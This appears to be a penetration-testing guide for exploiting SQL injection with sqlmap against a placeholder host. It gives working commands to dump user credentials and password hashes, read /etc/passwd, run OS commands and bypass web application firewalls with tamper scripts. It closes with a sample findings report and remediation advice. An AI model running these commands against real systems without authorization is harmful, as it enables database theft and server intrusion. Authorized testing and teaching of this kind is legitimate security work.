Exploiting SQL Injection With Sqlmap

Exploiting SQL Injection with sqlmap

When to Use

• During authorized web application penetration testing engagements
• When manual testing reveals potential SQL injection points in parameters, headers, or cookies
• For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
• When you need to demonstrate the impact of SQL injection by extracting data from backend databases
• During CTF challenges involving SQL injection exploitation

How to CONFIRM a Hit (avoid false negatives)

• The positive signal is sqlmap's own technique confirmation plus manual re-verification — not an HTTP 200. Require sqlmap to print the parameter '<x>' is vulnerable and list the confirmed techniques (B=boolean, E=error, U=union, S=stacked, T=time) and the back-end DBMS. A scan that ends with "all tested parameters do not appear to be injectable" is a negative ONLY after the escalations below.
• Re-verify manually so you are not chasing a false positive: reproduce the boolean differential (true vs false page differ), the time delay (a SLEEP(5)/WAITFOR payload adds ~5s vs baseline), the DB error string, or the UNION row appearing in the response. If you cannot reproduce by hand, treat sqlmap's claim with suspicion.
• Watch for false negatives from defaults: bump --level=5 --risk=3, set the right --dbms, and supply a --technique if only blind is viable.
• Do NOT conclude negative until you have tried ALL of these:
  • Mark the exact param with -p, and test cookies/headers (--cookie, -p "User-Agent,Referer", --headers), JSON bodies (* markers), and POST data from a saved -r request.txt.
  • WAF/filter bypass via --tamper (e.g. space2comment,between,randomcase, modsecurityversioned) and --random-agent.
  • Adjust --time-sec, --string/--not-string/--code to stabilize boolean detection on noisy pages.
  • Second-order via --second-url/--second-req; and --csrf-token/--csrf-url when a token blocks replay.
• A 200 with identical content for true and false payloads is NOT injectable; a 500 is a hint, not proof. Confirm a controlled differential before reporting.

Prerequisites

• Authorization: Written penetration testing agreement (Rules of Engagement) for the target
• sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
• Python 3.6+: Required runtime for sqlmap
• Burp Suite (optional): For capturing and replaying HTTP requests
• Target access: Network connectivity to the target web application
• Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# List all available tamper scripts
sqlmap --list-tampers

Step 7: Generate Report and Clean Up

Document findings and clean up any artifacts.

# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/

# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# Clean sqlmap session data after engagement
sqlmap --purge

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: E-commerce Product Page SQLi

A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.

Scenario 2: Login Form Bypass

A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

Scenario 3: Search Function with WAF Protection

A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.

Scenario 4: Cookie-based Blind SQL Injection

A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

Output Format

## SQL Injection Finding

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns